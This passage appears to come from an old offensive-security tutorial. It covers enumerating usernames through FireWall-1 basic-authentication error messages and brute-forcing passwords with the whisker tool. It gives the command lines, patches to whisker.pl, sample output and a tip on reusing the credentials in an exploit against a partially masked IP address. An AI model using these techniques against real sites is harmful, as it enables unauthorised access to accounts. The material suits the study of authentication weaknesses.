What about sites that require basic authentication? Basic authentication simply means that you have to provide a username and password to enter a site. Note that some sites might have usernames and passwords at application level - at "site" level - e.g. you must provide a username and password in a HTML based form. This is not basic authentication. With basic authentication, a extra window will be popped up in your browser and you will be prompted for a username and password. As is the case with telnet, the first step would be a get a valid username. Some implementations of basic authentication will tell you if you are using a valid username. Let us look at how Firewall-1 implements basic authentication. I go to the site http://196.xxx.151.241. At the BA (basic authentication) prompt I enter a username "test" and password "test". The server tells us that there is some problem, and responds like this:
Error 401
FW-1 at gateway: Unauthorized to access the document.
Authorization is needed for FW-1.
The authentication required by FW-1 for test is: unknown.
Reason for failure of last attempt: unknown user
Note that is says "unknown user" - the username "test" is thus not valid. If we try it with user "craig" however (we know that craig is a valid user) the response looks like this:
Error 401
FW-1 at gateway: Unauthorized to access the document.
Authorization is needed for FW-1.
The authentication required by FW-1 for craig is: FW-1 password.
Last message to user: FireWall-1 password:
Aha! Note that we don't see any "unknown" user response. How about other server - Apache and IIS? If we use an invalid user at the Apache BA prompt we get a response that says either the username or password is incorrect. IIS does the same thing. For these servers we need to guess usernames. On IIS "administrator" won't be a bad guess.
How do we go about to brute force sites that use BA? Whisker has the functionality to brute force attack BA sites. How do we do this? Let us set up whisker to brute force attack the site http://196.xxx.151.241 with username "craig". We build a file called "passwords" containing some common passwords and execute whisker as follows:
# perl whisker.pl -a craig -L / -P passwords -h 196.xxx.151.241
Let us have a quick look at the different switches. -a specifies the username, -L / says that we want to get to the main site - if the server protects a specific URL we would added it after the /. -P tells whisker that we use the file "passwords" as passwordfile (wow!). Please note - we had to make some minor changes to whisker.pl for this to work. Line 28 should read like this:
getopts("P:fs:n:vdh:l:H:Vu:iI:A:S:EF:p:M:UL:a:W", \%args);}
Line 1185 should read like this:
if($R!~m#^HTTP/[0-9.]{3} 40#){
When whisker find a valid username and password combination it responds like this:= Valid auth combo 'craig:xxx' on following URL:
= http://196.xxx.151.241
The idea would now be to run whisker with the correct username and password against the site:
# perl whisker.pl -a craig:testing -h 196.xxx.151.241
If you have an "133t" exploit you wish to run against a site that makes use of BA, and you do have the correct username and password - you still need to modify the 'sploit in order to use it with BA. The easiest way of doing this is to sniff the actual output of whisker, and look for the "Authentication: Basic" part. Add that then to your 'sploit. The more 'l33t' way is obviously to base64 encode the username:password, put "Basic" in front of it...